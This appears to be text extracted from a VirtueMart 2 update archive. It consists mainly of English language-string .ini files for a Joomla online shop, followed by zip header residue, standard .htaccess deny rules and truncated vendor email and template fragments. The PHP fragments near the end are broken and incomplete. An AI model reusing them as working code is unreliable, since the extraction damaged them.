COM_VIRTUEMART_PDF="PDF" COM_VIRTUEMART_PDF_CREATOR="VirtueMart 2, using the TCPDF library" COM_VIRTUEMART_PDF_SAMPLEPAGE="

            Invoice Header/Footer Sample Page

            This page shows how the page header and footer of the VirtueMart invoices will look like.

            " COM_VIRTUEMART_PKEY="Primary Keys" COM_VIRTUEMART_PLUGIN_COST_DISPLAY="Discount/Fee: " COM_VIRTUEMART_PRINT="Print" COM_VIRTUEMART_PRODUCT_ADDED_SUCCESSFULLY="Product successfully added" COM_VIRTUEMART_PRODUCT_ADD_PRODUCT="Add a product" COM_VIRTUEMART_PRODUCT_ASKPRICE="Call for price" COM_VIRTUEMART_PRODUCT_ASK_QUESTION="Ask a question" COM_VIRTUEMART_PRODUCT_AVAILABILITY="Product Availability" COM_VIRTUEMART_PRODUCT_AVAILABLE_DATE="Product Available Date" COM_VIRTUEMART_PRODUCT_BASEPRICE="Base price: " COM_VIRTUEMART_PRODUCT_BASEPRICE_VARIANT="Base price for variant: " COM_VIRTUEMART_PRODUCT_BASEPRICE_WITHTAX="Base price with tax: " COM_VIRTUEMART_PRODUCT_DESC="Product Description" COM_VIRTUEMART_PRODUCT_DESC_TITLE="Description" COM_VIRTUEMART_PRODUCT_DETAILS="Product details" COM_VIRTUEMART_PRODUCT_DETAILS_MANUFACTURER_LBL="Manufacturer: " COM_VIRTUEMART_PRODUCT_DETAILS_SHORT_DESC_LBL="Short description" COM_VIRTUEMART_PRODUCT_DETAILS_TITLE="Product details %1$s" COM_VIRTUEMART_PRODUCT_DETAILS_VENDOR_LBL="Vendor:" COM_VIRTUEMART_PRODUCT_DISCOUNTED_PRICE="Price with discount: " COM_VIRTUEMART_PRODUCT_DISCOUNT_AMOUNT="Discount: " COM_VIRTUEMART_PRODUCT_ENQUIRY_LBL="Ask a question about this product" COM_VIRTUEMART_PRODUCT_FORM_ALIAS="Product Alias" COM_VIRTUEMART_PRODUCT_FORM_CALCULATE_PRICE_FINAL_TIP="Check this to calculate the costprice with the desired final price" COM_VIRTUEMART_PRODUCT_FORM_CHILD_PARENT="Parent & Child Products" COM_VIRTUEMART_PRODUCT_FORM_CREATION_DATE="Creation Date" COM_VIRTUEMART_PRODUCT_FORM_EDIT_PRODUCT="Edit this product" COM_VIRTUEMART_PRODUCT_FORM_UNIT_DEFAULT="piece" COM_VIRTUEMART_PRODUCT_FORM_URL="URL" COM_VIRTUEMART_PRODUCT_FORM_VENDOR="Vendor Status" COM_VIRTUEMART_PRODUCT_FROM_MF="View all %s Products " COM_VIRTUEMART_PRODUCT_HEIGHT="Product Heigth" COM_VIRTUEMART_PRODUCT_ID="Product ID" COM_VIRTUEMART_PRODUCT_IN_STOCK="product in stock" COM_VIRTUEMART_PRODUCT_LENGTH="Product Length" COM_VIRTUEMART_PRODUCT_LOW_STOCK_EMAIL_BODY="The product %s has a stock of %d." COM_VIRTUEMART_PRODUCT_LOW_STOCK_EMAIL_SUBJECT="The product %s has a low stock" COM_VIRTUEMART_PRODUCT_LWH_UOM="Length/Weight/Height Unit of Measure" COM_VIRTUEMART_PRODUCT_NAME="Product Name" COM_VIRTUEMART_PRODUCT_NAME_TITLE="Product Name" COM_VIRTUEMART_PRODUCT_NOT_ADDED_SUCCESSFULLY="Product not successfully added" COM_VIRTUEMART_PRODUCT_NOT_FOUND="404 The requested product does not exist." COM_VIRTUEMART_PRODUCT_NOT_REMOVED_SUCCESSFULLY="Product not successfully removed" COM_VIRTUEMART_PRODUCT_NOT_UPDATED_SUCCESSFULLY="Product quantity not successfully updated" COM_VIRTUEMART_PRODUCT_ORDER_LEVELS="Product Order Levels" COM_VIRTUEMART_PRODUCT_PACKAGING1="Number {unit}s in packaging: " COM_VIRTUEMART_PRODUCT_PACKAGING2="Number {unit}s in box:" COM_VIRTUEMART_PRODUCT_PACKAGING="Product Packaging" COM_VIRTUEMART_PRODUCT_PRICE="Product Price" COM_VIRTUEMART_PRODUCT_RECOMMEND="Recommend to a friend" COM_VIRTUEMART_PRODUCT_REMOVED_SUCCESSFULLY="Product successfully removed" COM_VIRTUEMART_PRODUCT_SALES="Product Sales" COM_VIRTUEMART_PRODUCT_SALESPRICE="Sales price: " COM_VIRTUEMART_PRODUCT_SALESPRICE_WITHOUT_TAX="Sales price without tax: " COM_VIRTUEMART_PRODUCT_SALESPRICE_WITH_DISCOUNT="Salesprice with discount: " COM_VIRTUEMART_PRODUCT_SKU="Product SKU" COM_VIRTUEMART_PRODUCT_SPECIAL="Featured Product" COM_VIRTUEMART_PRODUCT_S_DESC="Product Short description" COM_VIRTUEMART_PRODUCT_TAX_AMOUNT="Tax amount: " COM_VIRTUEMART_PRODUCT_UNIT="Product Unit" COM_VIRTUEMART_PRODUCT_UNITPRICE="Price / %s: " COM_VIRTUEMART_PRODUCT_UNITS_IN_BOX="Units in box: " COM_VIRTUEMART_PRODUCT_UPDATED_SUCCESSFULLY="Product quantity successfully updated" COM_VIRTUEMART_PRODUCT_VARIANT_MOD="Variant price modifier: " COM_VIRTUEMART_PRODUCT_WEIGHT="Product Weight" COM_VIRTUEMART_PRODUCT_WEIGHT_UOM="Product Weight Measure" COM_VIRTUEMART_PRODUCT_WIDTH="Product Width" COM_VIRTUEMART_PUBLISHED="Published" COM_VIRTUEMART_PUBLISH_ITEM="Publish item" COM_VIRTUEMART_QUESTION_ABOUT="Question About " COM_VIRTUEMART_QUESTION_MAIL_FROM="A question was asked by %s (%s)" COM_VIRTUEMART_QUESTION_MAIL_PRODUCT="A question was asked about %s" COM_VIRTUEMART_RATING="Rating: " COM_VIRTUEMART_RATING_EMAIL_SUBJECT="New review for the product %s" COM_VIRTUEMART_RATING_EMAIL_BODY="A new review has been submitted for the product %s." COM_VIRTUEMART_RATING_FIRST_RATE="First: Rate the product. Please select a rating between 0 (poorest) and 5 stars (best)." COM_VIRTUEMART_RATING_NOT_SAVED_SUCCESSFULLY="Rating not saved" COM_VIRTUEMART_RATING_SAVED_SUCCESSFULLY="Rating saved" COM_VIRTUEMART_RATING_TITLE="Rating: " COM_VIRTUEMART_RECENT_PRODUCT="Recently Viewed Products" COM_VIRTUEMART_RECENT_PRODUCTS="Recently Viewed Products" COM_VIRTUEMART_RECOMMEND_COMMENT="Hi! I found this on %s and thought you might like it! Check it out now!" COM_VIRTUEMART_RECOMMEND_NAME="Your Name" COM_VIRTUEMART_RECOMMEND_EMAIL="Friend's Email" COM_VIRTUEMART_RECOMMEND_MAIL_BODY="%s recommend you %s out of our online shop" COM_VIRTUEMART_RECOMMEND_PRODUCT="%s recommends you: %s" COM_VIRTUEMART_RECOMMEND_SUBMIT="Send recommendation" COM_VIRTUEMART_RECOMMEND_THANK_YOU="Thank you for recommending the product." COM_VIRTUEMART_REGISTER="Register" COM_VIRTUEMART_REGISTER_ACCOUNT="Register an Account?
            An Account allows you to come back to this shop and view all the orders you have made." COM_VIRTUEMART_REGISTER_AND_CHECKOUT="Register And Checkout" COM_VIRTUEMART_REGISTRATION_DATA="The Registration data" COM_VIRTUEMART_REG_COMPLETE="
            Registration Complete!
            " COM_VIRTUEMART_REG_COMPLETE_ACTIVATE="
            Registration Completed!

            Your account has been created and an activation link has been sent to the e-mail address you entered. Note that you must activate the account by clicking on the activation link when you get the e-mail before you can login." COM_VIRTUEMART_RELATED_CATEGORIES="Related Categories" COM_VIRTUEMART_RELATED_CATEGORIES_DESC=" " COM_VIRTUEMART_RELATED_PRODUCTS="Related Products" COM_VIRTUEMART_RELATED_PRODUCTS_DESC=" " COM_VIRTUEMART_RELATED_PRODUCTS_HEADING="You may also be interested in this/these product(s)" COM_VIRTUEMART_RESET="Reset" COM_VIRTUEMART_RESTRICTED_ACCESS="Restricted access!" COM_VIRTUEMART_REVIEW="Review" COM_VIRTUEMART_REVIEWS="Reviews" COM_VIRTUEMART_REVIEW_ALREADYDONE="You already have written a review for this product. Thank you." COM_VIRTUEMART_REVIEW_COMMENT="Now please write a (short) review....(min. %s, max. %s characters) " COM_VIRTUEMART_REVIEW_COUNT="Characters written: " COM_VIRTUEMART_REVIEW_ERR_COMMENT1_JS="Please write down some more words for your review. Minimum characters allowed: %s" COM_VIRTUEMART_REVIEW_ERR_COMMENT2_JS="Please shorten your review. Maximum characters allowed: %s" COM_VIRTUEMART_REVIEW_ERR_RATE="Please rate the product to complete your review" COM_VIRTUEMART_REVIEW_LOGIN="Please log in to write a review." COM_VIRTUEMART_REVIEW_RATE="Rate" COM_VIRTUEMART_REVIEW_STARS="Stars" COM_VIRTUEMART_REVIEW_SUBMIT="Submit Review" COM_VIRTUEMART_SAVE="Save" COM_VIRTUEMART_SEARCH="Search in shop" COM_VIRTUEMART_SEARCH_SELECT_ALL_MANUFACTURER="All Manufacturers" COM_VIRTUEMART_SEARCH_SELECT_MANUFACTURER="Select manufacturer" COM_VIRTUEMART_SET_PRODUCT_TYPE="Choose product type" COM_VIRTUEMART_SHIPMENT_NOT_VALID_FOR_THIS_VENDOR="%s not valid for %d
            " COM_VIRTUEMART_SHOPPER_PAYMENT_FORM_LBL="Payment form" COM_VIRTUEMART_SHOPPER_REGISTRATION_DATA="Your Registration data" COM_VIRTUEMART_SHOPPER_SHIPMENT_FORM_LBL="Shipment form" COM_VIRTUEMART_SHOP_HOME="Shop home" COM_VIRTUEMART_SLUG="Sef Alias" COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_LOW_TIP="We are getting low on stock for this item" COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_NORMAL_TIP="We have plenty of stock for this product" COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_OUT_TIP="Sorry, we currently have no stock for this item" COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_TITLE_TIP="Current Stock Level" COM_VIRTUEMART_STORE_CURRENCY_DISPLAY="Currency" COM_VIRTUEMART_STORE_FORM_ACCEPTED_CURRENCIES="List of accepted currencies" COM_VIRTUEMART_STORE_FORM_COMPANY_NAME="Shop Company Name" COM_VIRTUEMART_STORE_FORM_CURRENCY="Currency" COM_VIRTUEMART_STORE_FORM_DESCRIPTION="Description" COM_VIRTUEMART_STORE_FORM_LEGAL="Legal Information" COM_VIRTUEMART_STORE_FORM_MPOV="Minimum purchase order value for your shop" COM_VIRTUEMART_STORE_FORM_STORE_NAME="Shop Name" COM_VIRTUEMART_STORE_FORM_TOS="Terms of Service" COM_VIRTUEMART_STRING_CANCELLED="%s record cancelled." COM_VIRTUEMART_STRING_COULD_NOT_BE_DELETED="%s could not be deleted." COM_VIRTUEMART_STRING_DELETED="%s successfully deleted." COM_VIRTUEMART_STRING_DELETED_ERROR="Error: The %s could not be deleted." COM_VIRTUEMART_STRING_ERROR_NOT_UNIQUE_NAME="The given %s already exists." COM_VIRTUEMART_STRING_ERROR_OBLIGATORY_KEY="%1$s in record is missing ! Can't save the record with no %1$s." COM_VIRTUEMART_STRING_ERROR_PRIMARY_KEY="Error with the primary key" COM_VIRTUEMART_STRING_FORBIDDEN_FOR_NON_VENDORS="%s function forbidden for non vendors" COM_VIRTUEMART_STRING_PUBLISHED_ERROR="Error: The %s could not be published." COM_VIRTUEMART_STRING_PUBLISHED_SUCCESS="%s successfully published." COM_VIRTUEMART_STRING_SAVED="%s successfully saved" COM_VIRTUEMART_STRING_SAVED_ERROR="Error: %s could not be saved " COM_VIRTUEMART_STRING_SAVED_SUCCESS="%s successfully saved" COM_VIRTUEMART_STRING_TOGGLE_ERROR="Error: The %s state could not be updated." COM_VIRTUEMART_STRING_TOGGLE_SUCCESS="%s state successfully updated." COM_VIRTUEMART_STRING_UNPUBLISHED_ERROR="Error: The %s could not be unpublished." COM_VIRTUEMART_STRING_UNPUBLISHED_SUCCESS="%s successfully unpublished." COM_VIRTUEMART_SUBCATEGORIES="Subcategories" COM_VIRTUEMART_TITLE_TOO_LONG="Title too long %s for database field, allowed 126" COM_VIRTUEMART_TOPTEN_PRODUCT="Top ten Products" COM_VIRTUEMART_TOTAL_VOTES="Total votes" COM_VIRTUEMART_UNIT_NAME_100MG="100 milligrams" COM_VIRTUEMART_UNIT_NAME_100ML="100 milliliters" COM_VIRTUEMART_UNIT_NAME_CM="Centimetres" COM_VIRTUEMART_UNIT_NAME_CUBM="Cubic meters" COM_VIRTUEMART_UNIT_NAME_FOOT="Foot" COM_VIRTUEMART_UNIT_NAME_G="Gramme" COM_VIRTUEMART_UNIT_NAME_INCH="Inches" COM_VIRTUEMART_UNIT_NAME_KG="Kilogramme" COM_VIRTUEMART_UNIT_NAME_L="Liter" COM_VIRTUEMART_UNIT_NAME_LB="Pounds" COM_VIRTUEMART_UNIT_NAME_M="Metres" COM_VIRTUEMART_UNIT_NAME_MG="Milligramme" COM_VIRTUEMART_UNIT_NAME_MM="Millimetres" COM_VIRTUEMART_UNIT_NAME_ONCE="Ounce" COM_VIRTUEMART_UNIT_NAME_SM="Square meters" COM_VIRTUEMART_UNIT_NAME_YARD="Yards" COM_VIRTUEMART_UNIT_SYMBOL_100G="100 g" COM_VIRTUEMART_UNIT_SYMBOL_100ML="100 ml" COM_VIRTUEMART_UNIT_SYMBOL_CM="cm" COM_VIRTUEMART_UNIT_SYMBOL_CUBM="m³" COM_VIRTUEMART_UNIT_SYMBOL_FOOT="ft" COM_VIRTUEMART_UNIT_SYMBOL_G="g" COM_VIRTUEMART_UNIT_SYMBOL_INCH="in" COM_VIRTUEMART_UNIT_SYMBOL_KG="kg" COM_VIRTUEMART_UNIT_SYMBOL_L="l" COM_VIRTUEMART_UNIT_SYMBOL_LB="lb" COM_VIRTUEMART_UNIT_SYMBOL_M="m" COM_VIRTUEMART_UNIT_SYMBOL_MG="mg" COM_VIRTUEMART_UNIT_SYMBOL_MM="mm" COM_VIRTUEMART_UNIT_SYMBOL_OUNCE="oz" COM_VIRTUEMART_UNIT_SYMBOL_SM="m²" COM_VIRTUEMART_UNIT_SYMBOL_YARD="yd" COM_VIRTUEMART_UNPUBLISHED="Unpublished" COM_VIRTUEMART_UNPUBLISH_ITEM="Unpublish Item" COM_VIRTUEMART_UNRATED="Not Rated Yet" COM_VIRTUEMART_UPDATE="Update" COM_VIRTUEMART_URL="URL" COM_VIRTUEMART_URL_NOT_VALID="Url is not valid" COM_VIRTUEMART_URL_TOO_LONG="Url too long %s for database field, allowed 254" COM_VIRTUEMART_USERNAME="Username" COM_VIRTUEMART_USER_CART_INFO_CREATE_ACCOUNT="Fill in those fields to create an account" COM_VIRTUEMART_USER_DATA_STORED="User data stored" COM_VIRTUEMART_USER_DELETE_ST="Delete address" COM_VIRTUEMART_USER_DISPLAYED_NAME="Displayed Name" COM_VIRTUEMART_USER_FORM_ADDRESS_LABEL="Address Nickname" COM_VIRTUEMART_USER_FORM_ADD_SHIPTO_LBL="Add/Edit shipment address" ;the next one is special, we need it also in the cart, therefore atm in main file COM_VIRTUEMART_USER_FORM_BILLTO_LBL="Bill To" COM_VIRTUEMART_USER_FORM_BILLTO_TOS_NO="Please agree to the Terms of Service" COM_VIRTUEMART_USER_FORM_BILLTO_TOS_YES="You agreed to the Terms of Service" COM_VIRTUEMART_USER_FORM_CART_STEP1="Checkout Step 1" COM_VIRTUEMART_USER_FORM_CART_STEP2="Checkout Step 2" COM_VIRTUEMART_USER_FORM_CART_STEP3="Checkout Step 3" COM_VIRTUEMART_USER_FORM_CART_STEP4="Checkout Step 4" COM_VIRTUEMART_USER_FORM_CAPTCHA="If you wish to register an account please complete this additional security panel" COM_VIRTUEMART_USER_FORM_EDIT_BILLTO_EXPLAIN="Only in case shipment address is different from billing address,
            click »%s« button below" COM_VIRTUEMART_USER_FORM_EDIT_BILLTO_LBL="Add/Edit billing address information" COM_VIRTUEMART_USER_FORM_EMAIL="E-Mail" COM_VIRTUEMART_USER_FORM_MISSING_REQUIRED_JS="Required field is missing" COM_VIRTUEMART_USER_FORM_NAME="Name" COM_VIRTUEMART_USER_FORM_NEWPASSWORD="New Password" COM_VIRTUEMART_USER_FORM_RECEIVESYSTEMEMAILS="Receive System Emails" COM_VIRTUEMART_USER_FORM_REGISTERDATE="Register date" COM_VIRTUEMART_USER_FORM_SHIPTO_LBL="Ship To" COM_VIRTUEMART_USER_FORM_ST_SAME_AS_BT="Use for the shipto same as billto address" COM_VIRTUEMART_USER_FORM_VERIFYPASSWORD="Verify Password" COM_VIRTUEMART_USER_NOSHIPPINGADDR="No shipment addresses." COM_VIRTUEMART_USER_NOT_A_VENDOR="You are not a vendor" COM_VIRTUEMART_USER_STORE_ERROR="Could not store user %s" COM_VIRTUEMART_VENDOR="Vendor" COM_VIRTUEMART_VENDOR_ASK_QUESTION="You may use this form to contact the shop owner directly from here" COM_VIRTUEMART_VENDOR_CONTACT="Contact" COM_VIRTUEMART_VENDOR_DATA_STORED="Vendor data stored" COM_VIRTUEMART_VENDOR_DETAILS="About" COM_VIRTUEMART_VENDOR_FORM_INFO_LBL="Vendor Information" COM_VIRTUEMART_VENDOR_FORM_MEDIA="Image & Thumb" COM_VIRTUEMART_VENDOR_ID="Vendor ID" COM_VIRTUEMART_VENDOR_LIST="Vendors" COM_VIRTUEMART_VENDOR_MOD="Vendor" COM_VIRTUEMART_VENDOR_NAME="Vendor name" COM_VIRTUEMART_VENDOR_NEW_SHOPPER_SUBJECT="A new shopper %s registered at your shop %s" COM_VIRTUEMART_VENDOR_REGISTRATION_DATA="The new shopper registration data" COM_VIRTUEMART_VENDOR_TOS="Terms of Services " COM_VIRTUEMART_VIRTUEMART_PRODUCT_ID="Product id" COM_VIRTUEMART_WELCOME_USER="Welcome %s" COM_VIRTUEMART_WELCOME_VENDOR="Hi vendor %s" COM_VIRTUEMART_WRITABLE="Writeable" COM_VIRTUEMART_WRITE_FIRST_REVIEW="Be the first to write a review..." COM_VIRTUEMART_WRITE_REVIEW="Submit Review" COM_VIRTUEMART_WRONG_AMOUNT_ADDED="You can buy this product only in multiples of %s pieces!" COM_VIRTUEMART_YES="Yes" COM_VIRTUEMART_YOUR_ACCOUNT_DETAILS="Your account details" COM_VIRTUEMART_YOUR_ACCOUNT_REG="Register" COM_VIRTUEMART_YOUR_ADDRESS="Your entered address: " COM_VIRTUEMART_YOUR_DISPLAYED_NAME="your displayed name: " COM_VIRTUEMART_YOUR_LOGINAME="Your Login Name: " COM_VIRTUEMART_YOUR_ORDERS="Your Orders" COM_VIRTUEMART_YOUR_PASSWORD="your password: " ;COM_VIRTUEMART_CART_TOS_LINK_TEXT="Show me the terms of service"PKtl>\||[com_virtuemart_update/components/com_virtuemart/language/en-GB/en-GB.com_virtuemart.sys.ininuW+A; VirtueMart Project" ; Copyright (C) 2008 VirtueMart, 2009 VirtueMart Team. All rights reserved." ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php" ; Note : All ini files need to be saved as UTF-8 - No BOM" ; System COM_VIRTUEMART="VirtueMart" COM_VIRTUEMART_DESCRIPTION="Welcome to VirtueMart!
            The complete Online Shopsystem for Joomla 1.5+" COM_VIRTUEMART_INSTALLATION_FINISH="Basic Installation has been finished." COM_VIRTUEMART_INSTALLATION_STEP_ONE="The first step of the Installation was SUCCESSFUL" COM_VIRTUEMART_INSTALL_DONATION="Please consider a small donation to help us keep up the work on this component." COM_VIRTUEMART_INSTALL_FURTHER_HELP="Go to VirtueMart for further Help" COM_VIRTUEMART_INSTALL_GO_SHOP="Go to the Shop" COM_VIRTUEMART_INSTALL_SAMPLE_DATA="Install Sample Data" COM_VIRTUEMART_MENU="VirtueMart" COM_VIRTUEMART_UNINSTALL_NOTE="Uninstall Note:" COM_VIRTUEMART_UNINSTALL_NOTE_DESC="Uninstalling VirtueMart does not remove the VirtueMart tables from your database. This is done intentionally to allow for upgrading your current data to new versions of VirtueMart.
            To remove the VirtueMart tables, remove all tables with the _virtuemart_ prefix." COM_VIRTUEMART_UNINSTALL_THANKYOU="Thank you for using VirtueMart!" VIRTUEMART="VirtueMart" ; components/com_virtuemart/views/cart/tmpl/default.xml COM_VIRTUEMART_CART_VIEW_DEFAULT_DESC="Displays the Shopping Cart" COM_VIRTUEMART_CART_VIEW_DEFAULT_TITLE="VirtueMart Shopping Cart" ; components/com_virtuemart/views/cart/tmpl/minicart.xml COM_VIRTUEMART_MINICART_DESC="Displays VirtueMart minicart" COM_VIRTUEMART_MINICART_MENU="VirtueMart mini cart" ; components/com_virtuemart/views/categories/tmpl/default.xml COM_VIRTUEMART_CATEGORIES_VIEW_DEFAULT_DESC="To set the parent category" COM_VIRTUEMART_CATEGORIES_VIEW_DEFAULT_TITLE="VirtueMart Categories Layout" ; components/com_virtuemart/views/category/tmpl/default.xml COM_VIRTUEMART_CATEGORY_FIELD_SELECT="Select a category" COM_VIRTUEMART_CATEGORY_FIELD_SELECT_DESC="Creates a link to display the selected Category" COM_VIRTUEMART_CATEGORY_VIEW_DEFAULT_DESC="Displays a single VirtueMart category" COM_VIRTUEMART_CATEGORY_VIEW_DEFAULT_TITLE="Category Layout" ; components/com_virtuemart/views/manufacturer/tmpl/details.xml COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT="Select a Manufacturer" COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT_DESC="Creates a link to display the selected Manufacturer" COM_VIRTUEMART_MANUFACTURER_VIEW_DEFAULT_DESC="Displays VirtueMart manufacturers List" COM_VIRTUEMART_MANUFACTURER_VIEW_DEFAULT_TITLE="VirtueMart Manufacturer Default Layout" COM_VIRTUEMART_MANUFACTURER_VIEW_DETAILS_DESC="Displays a single VirtueMart manufacturer" COM_VIRTUEMART_MANUFACTURER_VIEW_DETAILS_TITLE="VirtueMart Manufacturer Details Layout" ; components/com_virtuemart/views/orders/tmpl/details.xml COM_VIRTUEMART_ORDERS_LIST="List Orders" COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_DESC="List All Orders" COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_TITLE="List Orders" ; components/com_virtuemart/views/productdetails/tmpl/default.xml COM_VIRTUEMART_PRODUCTDETAILS_FIELD_SELECT="Select a Product" COM_VIRTUEMART_PRODUCTDETAILS_FIELD_SELECT_DESC="Creates a link to this display the selected Product" COM_VIRTUEMART_PRODUCTDETAILS_PRODUCT="Product" COM_VIRTUEMART_PRODUCTDETAILS_TO_SET_PRODUCT_VIEW="To set the product view" COM_VIRTUEMART_PRODUCTDETAILS_VIEW_DEFAULT_DESC="Displays a single product" COM_VIRTUEMART_PRODUCTDETAILS_VIEW_DEFAULT_TITLE="VirtueMart Product Details Layout" ; components/com_virtuemart/views/user/tmpl/edit.xml COM_VIRTUEMART_USER_VIEW_DEFAULT_DESC="Displays the VirtueMart Customer Account Maintenance" COM_VIRTUEMART_USER_VIEW_DEFAULT_TITLE="VirtueMart Account Maintenance" ; components/com_virtuemart/views/virtuemart/tmpl/default.xml COM_VIRTUEMART_VIRTUEMART_VIEW_DEFAULT_TITLE="VirtueMart Front page" COM_VIRTUEMART_VIRTUEMART_VIEW_DEFAULT_TITLE_DESC="Displays the VirtueMart front page" ; components/com_virtuemart/views/recommend/tmpl/edit.xml ;COM_VIRTUEMART_RECCOMEND_MENU="VirtueMart Account Maintenance" ;COM_VIRTUEMART_RECOMMEND_MENU_DESC="Displays the VirtueMart Customer Account Maintenance"PKtl>\Z''`com_virtuemart_update/components/com_virtuemart/language/en-GB/en-GB.com_virtuemart_shoppers.ininuW+A; Virtuemart! Project ; for translation of the shopperfields ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM COM_VIRTUEMART_BUTTON_SEND_REG="Send Registration" COM_VIRTUEMART_ORDER_PRINT_CUST_INFO_LBL="Shopper Information" ;for vm2.1 email is used more than once COM_VIRTUEMART_MISSING_VALUE_FOR_FIELD="Missing value for %s" COM_VIRTUEMART_REGISTER_EMAIL="E-Mail" COM_VIRTUEMART_SHOPPER_FORM_ADDRESS_1="Address 1" COM_VIRTUEMART_SHOPPER_FORM_ADDRESS_2="Address 2" COM_VIRTUEMART_SHOPPER_FORM_ADDRESS_INFO_LBL="Information" COM_VIRTUEMART_SHOPPER_FORM_ADDRESS_LABEL="Address Nickname" COM_VIRTUEMART_SHOPPER_FORM_BIRTHDAY="Date of birth" COM_VIRTUEMART_SHOPPER_FORM_CITY="City" COM_VIRTUEMART_SHOPPER_FORM_COMPANY_NAME="Company Name" COM_VIRTUEMART_SHOPPER_FORM_COUNTRY="Country" COM_VIRTUEMART_SHOPPER_FORM_EMAIL="Email" COM_VIRTUEMART_SHOPPER_FORM_EU_VATID="VAT Number(European Union Countries only)" COM_VIRTUEMART_SHOPPER_FORM_FAX="Fax" COM_VIRTUEMART_SHOPPER_FORM_FIRST_NAME="First Name" COM_VIRTUEMART_SHOPPER_FORM_GROUP="Shopper Group" COM_VIRTUEMART_SHOPPER_FORM_GROUP_PRICE_TIP="Select a shopper group, if this price is specific to a shopper group. If no shopper group is selected, the price is the same for all shopper groups." COM_VIRTUEMART_SHOPPER_FORM_GROUP_PRODUCT_TIP="If one or more shopper group(s) is/are selected, the product will be displayed only to those shopper groups. If no shopper group is selected, the product is displayed to all shopper group." COM_VIRTUEMART_SHOPPER_FORM_HOUSE_EXTENSION="Building Name" COM_VIRTUEMART_SHOPPER_FORM_HOUSE_NO="House Number" COM_VIRTUEMART_SHOPPER_FORM_LAST_NAME="Last Name" COM_VIRTUEMART_SHOPPER_FORM_LBL="Additional Information" COM_VIRTUEMART_SHOPPER_FORM_LBL="Shopper Information" COM_VIRTUEMART_SHOPPER_FORM_MIDDLE_NAME="Middle Name" COM_VIRTUEMART_SHOPPER_FORM_PASSWORD_1="Password" COM_VIRTUEMART_SHOPPER_FORM_PASSWORD_2="Confirm Password" COM_VIRTUEMART_SHOPPER_FORM_PHONE2="Mobile phone" COM_VIRTUEMART_SHOPPER_FORM_PHONE="Phone" COM_VIRTUEMART_SHOPPER_FORM_SHIPTO_LBL="Shipment Information" COM_VIRTUEMART_SHOPPER_FORM_SOCIALNUMBER="Social Security Number" COM_VIRTUEMART_SHOPPER_FORM_STATE="State / Province / Region" COM_VIRTUEMART_SHOPPER_FORM_TAXEXEMPTION_NBR="Tax Exemption Number" COM_VIRTUEMART_SHOPPER_FORM_TAX_USAGE="Tax Usage Type" COM_VIRTUEMART_SHOPPER_FORM_TITLE="Title" COM_VIRTUEMART_SHOPPER_FORM_USERNAME="User Name" COM_VIRTUEMART_SHOPPER_FORM_ZIP="Zip / Postal Code" COM_VIRTUEMART_SHOPPER_TITLE_MISS="Miss" COM_VIRTUEMART_SHOPPER_TITLE_MR="Mr" COM_VIRTUEMART_SHOPPER_TITLE_MRS="Mrs" COM_VIRTUEMART_USERFIELDS_FORM_LBL="Additional Informations" COM_VIRTUEMART_USER_FORM_ADDRESS_LABEL="Address Nickname" COM_VIRTUEMART_USER_FORM_BLOCKUSER="Block User" COM_VIRTUEMART_USER_FORM_CONTACTDETAILS_NAME="Name" COM_VIRTUEMART_USER_FORM_CONTACTDETAILS_POSITION="Position" COM_VIRTUEMART_USER_FORM_CONTACTDETAILS_TELEPHONE="Telephone" COM_VIRTUEMART_USER_FORM_CUSTOMER_NUMBER="Shopper Number / ID" COM_VIRTUEMART_USER_FORM_LASTVISITDATE="Last Visit Date" COM_VIRTUEMART_USER_FORM_LASTVISIT_NEVER="Never" COM_VIRTUEMART_USER_FORM_LEGEND_CONTACTINFO="Contact Information" COM_VIRTUEMART_USER_FORM_LEGEND_PARAMETERS="Parameters" COM_VIRTUEMART_USER_FORM_LEGEND_PARAMETERS="Parameters" COM_VIRTUEMART_USER_FORM_LEGEND_USERDETAILS="User Details" COM_VIRTUEMART_USER_FORM_LEGEND_USERDETAILS="User Details" COM_VIRTUEMART_USER_FORM_NOCONTACTDETAILS_1="No Contact details linked to this User" COM_VIRTUEMART_USER_FORM_NOCONTACTDETAILS_2="See Components -> Contact -> Manage Contacts for details." COM_VIRTUEMART_USER_FORM_PERMS="User Permissions" COM_VIRTUEMART_USER_FORM_TAB_GENERALINFO="General User Information" COM_VIRTUEMART_USER_GROUP="User Group"PKtl>\VIcom_virtuemart_update/components/com_virtuemart/language/en-GB/index.htmlnuW+A PKtl>\)9com_virtuemart_update/components/com_virtuemart/.htaccessnuW+A Order allow,deny Deny from all PKtl>\)Fcom_virtuemart_update/components/com_virtuemart/views/vendor/.htaccessnuW+A Order allow,deny Deny from all PKtl>\hjIcom_virtuemart_update/components/com_virtuemart/views/vendor/metadata.xmlnuW+A PKtl>\?۬zzWcom_virtuemart_update/components/com_virtuemart/views/vendor/tmpl/mail_raw_question.phpnuW+Avendor->vendor_store_name) . "\n" . "\n"; echo JText::_('COM_VIRTUEMART_QUESTION_ABOUT') . ' '. $this->product->product_name."\n" . "\n"; echo JText::sprintf('COM_VIRTUEMART_QUESTION_MAIL_FROM', $this->user->name, $this->user->email) . "\n"; echo $this->comment. "\n"; PKtl>\ΓddXcom_virtuemart_update/components/com_virtuemart/views/vendor/tmpl/mail_html_question.phpnuW+A
            PKtl>\!_

            vendor->vendor_store_name; if (!empty($this->vendor->images[0])) { ?>
            vendor->images[0]->displayMediaThumb('',false); ?>

            vendor->vendor_terms_of_service )) { ?>
            vendor->vendor_terms_of_service ?>

            linkdetails ?>
            linkcontact ?>
            PKtl>\|((Icom_virtuemart_update/components/com_virtuemart/views/vendor/tmpl/tos.xmlnuW+A COM_VIRTUEMART_VENDOR_VIEW_TOS_TITLE
            PKtl>\5UUTcom_virtuemart_update/components/com_virtuemart/views/vendor/tmpl/mail_confirmed.phpnuW+A

            PKtl>\{-2<<Mcom_virtuemart_update/components/com_virtuemart/views/vendor/tmpl/details.xmlnuW+A COM_VIRTUEMART_VENDOR_VIEW_DETAILS_TITLE
